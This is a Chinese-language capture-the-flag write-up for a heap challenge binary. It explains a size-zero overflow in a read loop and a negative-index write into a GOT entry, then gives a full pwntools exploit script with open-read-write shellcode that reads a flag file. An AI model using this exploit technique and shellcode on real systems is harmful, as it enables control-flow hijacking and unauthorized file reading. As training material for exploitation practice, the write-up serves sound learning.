题目
开了沙盒
开了PIE Canary,没开nx

add
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| __int64 sub_E44() { int v1; int v2;
if ( qword_202130 <= 1 ) { puts("index:"); v1 = read_int(); puts("size:"); v2 = read_int(); if ( v2 >= 0 && v2 <= 8 && v1 <= 1 ) { qword_2020E0[v1] = malloc(v2); if ( !qword_2020E0[v1] ) { puts("error"); exit(0); } puts("content:"); read_content(qword_2020E0[v1], v2); ++qword_202130; } } return qword_202130; }
|
只能进行两次add操作
index输入负数可以向上输入,根据index写入malloc到的指针
注意到size可以为0
而在read_content中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| __int64 __fastcall read_content(_BYTE *a1, __int64 a2) { _BYTE *buf; unsigned int v4;
buf = a1; v4 = 0; while ( 1 ) { read(0, buf, 1uLL); ++v4; if ( *buf == 10 ) break; if ( ++buf == &a1[a2] ) return v4; } *buf = 0; return v4; }
|
其中如果输入空格退出
或者输入地址与达到边界时退出
这次每次循环时地址递增的指令是++buf
会先加再进行判断
假如输入的size是0,由于先++再判断就会导致溢出
可以利用这一点直接输入orw的shellcode
然后输入负数的index让指针填入got表函数
再执行该函数从而执行shellcode
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./pwn')
def cmd1(n): r.sendlineafter('>>', str(n))
def cmd2(n): r.sendlineafter(':', str(n))
def cmd3(content): r.sendafter('content:', content)
def add(idx, size, content): cmd1(1) cmd2(idx) cmd2(size) cmd3(content)
shellcode = ''' push 0x67616c66 mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 2 syscall xor rax, rax mov rdi, 3 mov rsi, rbp mov rdx, 0x25 syscall mov rax, 1 mov rdi, 1 mov rsi, rbp mov rdx,0x25 syscall '''
add(-25, 0, asm(shellcode)+'\n') cmd1(4) cmd2(0)
r.interactive()
|